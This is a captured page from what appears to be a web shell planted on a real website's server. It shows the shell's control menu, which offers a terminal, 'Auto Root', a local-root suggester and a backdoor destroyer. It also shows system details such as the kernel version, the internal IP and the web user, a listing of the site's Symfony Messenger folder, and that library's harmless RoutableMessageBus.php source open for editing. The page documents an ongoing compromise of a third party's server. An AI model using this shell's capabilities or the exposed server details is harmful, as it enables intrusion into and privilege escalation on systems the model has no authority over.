Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
messenger /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
EventListener
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Handler
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Message
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Middleware
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Retry
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Stamp
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Transport
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
16.26
KB
-rwxrwxr-x
2026-03-19 04:54
Envelope.php
3.12
KB
-rwxrwxr-x
2026-03-19 04:54
HandleTrait.php
2.25
KB
-rwxrwxr-x
2026-03-19 04:54
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBus.php
2.51
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBusInterface.php
692
B
-rwxrwxr-x
2026-03-19 04:54
README.md
1012
B
-rwxrwxr-x
2026-03-19 04:54
RoutableMessageBus.php
2.12
KB
-rwxrwxr-x
2026-03-19 04:54
TraceableMessageBus.php
3.16
KB
-rwxrwxr-x
2026-03-19 04:54
Worker.php
10.49
KB
-rwxrwxr-x
2026-03-19 04:54
WorkerMetadata.php
1.07
KB
-rwxrwxr-x
2026-03-19 04:54
composer.json
1.74
KB
-rwxrwxr-x
2026-03-19 04:54
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Messenger; use Psr\Container\ContainerInterface; use Symfony\Component\Messenger\Exception\InvalidArgumentException; use Symfony\Component\Messenger\Stamp\BusNameStamp; /** * Bus of buses that is routable using a BusNameStamp. * * This is useful when passed to Worker: messages received * from the transport can be sent to the correct bus. * * @author Ryan Weaver <ryan@symfonycasts.com> */ class RoutableMessageBus implements MessageBusInterface { private ContainerInterface $busLocator; private ?MessageBusInterface $fallbackBus; public function __construct(ContainerInterface $busLocator, ?MessageBusInterface $fallbackBus = null) { $this->busLocator = $busLocator; $this->fallbackBus = $fallbackBus; } public function dispatch(object $envelope, array $stamps = []): Envelope { if (!$envelope instanceof Envelope) { throw new InvalidArgumentException('Messages passed to RoutableMessageBus::dispatch() must be inside an Envelope.'); } /** @var BusNameStamp|null $busNameStamp */ $busNameStamp = $envelope->last(BusNameStamp::class); if (null === $busNameStamp) { if (null === $this->fallbackBus) { throw new InvalidArgumentException('Envelope is missing a BusNameStamp and no fallback message bus is configured on RoutableMessageBus.'); } return $this->fallbackBus->dispatch($envelope, $stamps); } return $this->getMessageBus($busNameStamp->getBusName())->dispatch($envelope, $stamps); } /** * @internal */ public function getMessageBus(string $busName): MessageBusInterface { if (!$this->busLocator->has($busName)) { throw new InvalidArgumentException(\sprintf('Bus named "%s" does not exist.', $busName)); } return $this->busLocator->get($busName); } }